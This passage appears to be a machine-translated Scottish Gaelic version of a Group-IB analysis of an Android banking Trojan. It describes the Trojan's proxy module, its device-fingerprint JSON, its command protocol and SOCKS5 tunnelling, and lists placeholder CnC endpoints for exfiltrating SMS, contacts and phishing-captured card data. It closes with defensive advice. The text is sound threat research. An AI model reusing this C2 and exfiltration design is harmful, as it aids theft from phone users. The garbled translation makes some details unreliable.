Frithealaiche:: tòisich () òstair[], commandPort[], proxyPort[]
far a bheil proxy_cnc, command_port agus proxy_port - crìochan a gheibhear bho rèiteachadh an fhrithealaiche Proxy.
Canar an clas giollachd òrdughan Ceangal àithne. Dìreach an dèidh tòiseachaidh, a 'coileanadh na gnìomhan a leanas:
4. A' ceangal ri ProxyConfigClass.host: ProxyConfigClass.commandPort agus a’ cur dàta mun inneal gabhaltach an sin ann an cruth JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Càite:
- id - aithnichear, a’ feuchainn ri luach fhaighinn leis an raon “id” bhon fhaidhle Roghainn Co-roinnte air a bheil “x”. Mura h-urrainnear an luach seo fhaighinn, cruthaichidh e fear ùr. Mar sin, tha an aithnichear fhèin aig a’ mhodal Proxy, a tha air a chruthachadh san aon dòigh ris an ID Bot.
- imei - IMEI an inneal. Ma thachair mearachd rè pròiseas faighinn an luach, thèid teachdaireachd teacsa mearachd a sgrìobhadh an àite an raoin seo.
- imsi - Dearbh-aithne neach-clàraidh gluasadach eadar-nàiseanta den inneal. Ma thachair mearachd rè pròiseas faighinn an luach, thèid teachdaireachd teacsa mearachd a sgrìobhadh an àite an raoin seo.
- modail - An t-ainm a chì an neach-cleachdaidh deireannach airson an toradh deireannach.
- neach-dèanamh - Neach-dèanamh an toraidh / bathar-cruaidh (Build.MANUFACTURER).
- androidVersion - sreang san fhòrmat " ("
- dùthaich - suidheachadh làithreach an inneil.
- Is e sreang falamh a th’ ann an partnerId.
- packName - ainm pacaid.
- networkType - seòrsa de cheangal lìonra gnàthach (mar eisimpleir: “WIFI”, “MOBILE”). Ma tha mearachd ann, tillidh e null.
- hasGsmSupport - fìor - ma tha am fòn a’ toirt taic do GSM, air dhòigh eile meallta.
- simReady - staid cairt SIM.
- simCountry - còd dùthcha ISO (stèidhichte air solaraiche cairt SIM).
- networkOperator - ainm gnìomhaiche. Ma thachair mearachd rè pròiseas faighinn an luach, thèid teachdaireachd teacsa mearachd a sgrìobhadh an àite an raoin seo.
- simOperator - Ainm an t-Solaraiche Seirbheis (SPN). Ma thachair mearachd rè pròiseas faighinn an luach, thèid teachdaireachd teacsa mearachd a sgrìobhadh an àite an raoin seo.
- dreach - tha an raon seo air a stòradh sa chlas config; airson na dreachan deuchainn den bot bha e co-ionann ri “1.6”.
5. Ag atharrachadh chun mhodh feitheamh airson òrdughan bhon fhrithealaiche. Bidh òrdughan bhon fhrithealaiche a 'tighinn a-steach don chruth:
- 0 dheth - àithne
- 1 dheth - seisean Id
- 2 chothromachadh - fad
- 4 dheth — dàta
Nuair a thig òrdugh, bidh an aplacaid a’ logadh:
mainLog ("Header { sessionId ], seòrsa[], fad[] }")
Tha na h-òrdughan a leanas bhon fhrithealaiche comasach:
Ainm | Command | Dàta | Tuairisgeul |
---|---|---|---|
ceangalId | 0 | ID ceangail | Cruthaich ceangal ùr |
LAOIDH | 3 | Time | Stad am modal Proxy |
PING_PONG | 4 | - | Cuir teachdaireachd PONG |
Tha teachdaireachd PONG air a dhèanamh suas de 4 bytes agus tha e coltach ri seo: 0x04000000.
Nuair a gheibhear an àithne connectId (gus ceangal ùr a chruthachadh) Ceangal àithne a’ cruthachadh eisimpleir de chlas Ceangal Proxy.
- Bidh dà chlas a’ gabhail pàirt ann an progsaidh: Ceangal Proxy и deireadh. Nuair a chruthaicheas tu clas Ceangal Proxy a’ ceangal ris an t-seòladh ProxyConfigClass.host: ProxyConfigClass.proxyPort agus a' dol seachad air an nì JSON:
{
"id":<%connectionId%>
}
Mar fhreagairt, bidh am frithealaiche a’ cur teachdaireachd SOCKS5 anns a bheil seòladh an fhrithealaiche iomallach leis am feumar an ceangal a stèidheachadh. Bidh eadar-obrachadh leis an fhrithealaiche seo a’ tachairt tron chlas deireadh. Faodar suidheachadh ceangail a riochdachadh gu sgeamach mar a leanas:
Eadar-obrachadh lìonra
Gus casg a chuir air mion-sgrùdadh trafaic le sniffers lìonra, faodar an eadar-obrachadh eadar frithealaiche CnC agus an tagradh a dhìon le bhith a ’cleachdadh protocol SSL. Tha a h-uile dàta tar-chuir an dà chuid bhon fhrithealaiche agus chun an fhrithealaiche air a thaisbeanadh ann an cruth JSON. Bidh an tagradh a’ coileanadh na h-iarrtasan a leanas rè obrachadh:
- http://<%CnC%>/api/v1/set_state.php - toradh coileanadh an àithne.
- http://<%CnC%>/api/v1/get.php - a 'faighinn òrdugh.
- http://<%CnC%>/api/v1/load_sms.php - luchdachadh sìos teachdaireachdan SMS bho inneal gabhaltach.
- http://<%CnC%>/api/v1/load_ab.php - a’ luchdachadh suas liosta de luchd-fios bho inneal gabhaltach.
- http://<%CnC%>/api/v1/aevents.php - thèid an t-iarrtas a dhèanamh nuair a bhios tu ag ùrachadh nam paramadairean a tha suidhichte san fhaidhle roghainn.
- http://<%CnC%>/api/v1/set_card.php — a’ luchdachadh suas dàta a gheibhear le bhith a’ cleachdadh uinneag fiasgaich a’ masquerading mar Mhargaidh Google Play.
- http://<%CnC%>/api/v1/logs.php - luchdachadh suas dàta log.
- http://<%CnC%>/api/v1/records.php - luchdachadh suas dàta a gheibhear tro uinneagan phishing.
- http://<%CnC%>/api/v1/set_error.php - fios mu mhearachd a thachair.
molaidhean
Gus an luchd-ceannach aca a dhìon bho chunnart bho Trojans gluasadach, feumaidh companaidhean fuasglaidhean coileanta a chleachdadh a leigeas leotha sùil a chumail air agus casg a chuir air gnìomhachd droch-rùnach gun a bhith a ’stàladh bathar-bog a bharrachd air innealan luchd-cleachdaidh.
Gus seo a dhèanamh, feumar dòighean ainm-sgrìobhte airson Trojans gluasadach a lorg a neartachadh le teicneòlasan airson mion-sgrùdadh a dhèanamh air giùlan an neach-dèiligidh agus an aplacaid fhèin. Bu chòir don dìon cuideachd a bhith a’ toirt a-steach gnìomh aithneachaidh inneal a’ cleachdadh teicneòlas lorgan-meòir didseatach, a leigeas leinn tuigsinn cuin a thathas a’ cleachdadh cunntas bho inneal neo-àbhaisteach agus a tha mar-thà air tuiteam ann an làmhan neach-foill.
Is e puing air leth cudromach gu bheil cothrom air mion-sgrùdadh tar-seanail, a leigeas le companaidhean smachd a chumail air cunnartan a tha ag èirigh chan ann a-mhàin air an eadar-lìn, ach cuideachd air an t-sianal gluasadach, mar eisimpleir, ann an tagraidhean airson bancaireachd gluasadach, airson gnothaichean le cryptocurrencies agus gin eile far a bheil faodar gnothaichean a dhèanamh. malairt ionmhais.
Riaghailtean sàbhailteachd airson luchd-cleachdaidh:
- na stàlaich tagraidhean airson inneal gluasadach le Android OS bho thùs sam bith a bharrachd air Google Play, thoir aire shònraichte do na còraichean a dh’ iarras an tagradh;
- stàlaich ùrachaidhean Android OS gu cunbhalach;
- aire a thoirt do leudachadh fhaidhlichean a chaidh a luchdachadh sìos;
- na bi a 'tadhal air goireasan amharasach;
- Na cliog air ceanglaichean a gheibhear ann am teachdaireachdan SMS.
Rionnag Semyon Rogachev, eòlaiche òg ann an rannsachadh malware aig Saotharlann Foireansach Coimpiutaireachd Group-IB.
Source: www.habr.com